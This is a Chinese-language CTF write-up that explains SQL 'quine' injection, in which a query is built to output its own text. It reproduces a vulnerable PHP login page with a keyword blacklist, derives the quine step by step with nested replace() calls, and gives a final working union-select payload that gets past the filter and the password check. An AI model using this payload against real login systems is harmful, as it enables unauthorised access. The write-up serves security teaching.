什么是quine注入?
quine是一种计算机程序,它不接受输入并产生自己源代码的副本作为唯一的输出.
在ctf应用中,Quine注入的目的就是使得输入输出一致,绕过限制登录。这样说大概还是不够具体,让我们看一道例题吧。
[第五空间 2021]yet_another_mysql_injection
以下是源码:
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
关键在于if ($row[‘password’] === $password) ,也就是说,我们查询出来的结果要和我们输入的密码强一致才能登录成功。也就是要用到quine这个“自己生自己”的技巧了。在做这题之前,我们要先搞清楚sql_quine注入的构造过程。
构造quine
最基础的基本语句:select replace(“.”,char(46),”.”);,作用就是把”.”中的.换成.(非常像废话,但这就是核心思路了)
接下来看这个语句:
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")'); #查询语句
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")"); #输出语句
真神奇啊,查询语句和输出基本是完全一致的。但有问题,那就是引号仍然存在不同,原本的单引号成为了双引号(本来字符串中包含.的是双引号,所以会出现这样的情况),然而我们不能把原来的单引号改成双引号来避免,
因为replace(“.”,char(46),”.”)字符串中有双引号,所以把它当作字符串写入replace时要用单引号,不然会报错。
所以要想办法把’变成”,同时又要保持输入输出相等,那么再用一次replace不久好了?于是就构造出了以下的语句:
replace(".",char(34),char(39)) #首先是最好想的,把"变成',输出的是 .
replace(replace(".",char(34),char(39)),char(46),".") #实现自我替换,输出的仍然是 .
replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)); #将之前的语句作为字符串,改变其中的引号,成功达成了将引号变换
replace(replace('.',char(34),char(39)),char(46),'.')
实现了引号的替换,就再套一次之前的quine语句就好哩
select replace(replace('select replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'select replace(replace(".",char(34),char(39)),char(46),".")');
这就是sql quine的语句了,真的很神奇呢。
回到例题
再看例题,利用我们得出的模板,改为注入的样式即可
1" union select replace(replace(".",char(34),char(39)),char(46),".")#
/*这个是基本的语句,参考 replace(replace(".",char(34),char(39)),char(46),".")*/
replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39))
/*这样就解决了引号不一致的问题*/
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
/*这个语句的返回值就和它本身是一模一样的了,也就是所谓的输入输出一致*/
/*这里还要注意以下基本语句的1"的这个双引号,因为这里用单引号的话会有配对问题,所以设为双引号,利用之后的replace来使之变为单引号,不会引起匹配问题。*/
最终pl:
username=admin&password=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
总结
尽管quine注入的适用范围似乎并不太大,但确实很有意思,也可能可以用来解决一些密码比较问题,也比盲注方便不少。
多一门手艺总是好的🤗
参考 🥰:
- SQL注入之Quine注入
- Quine注入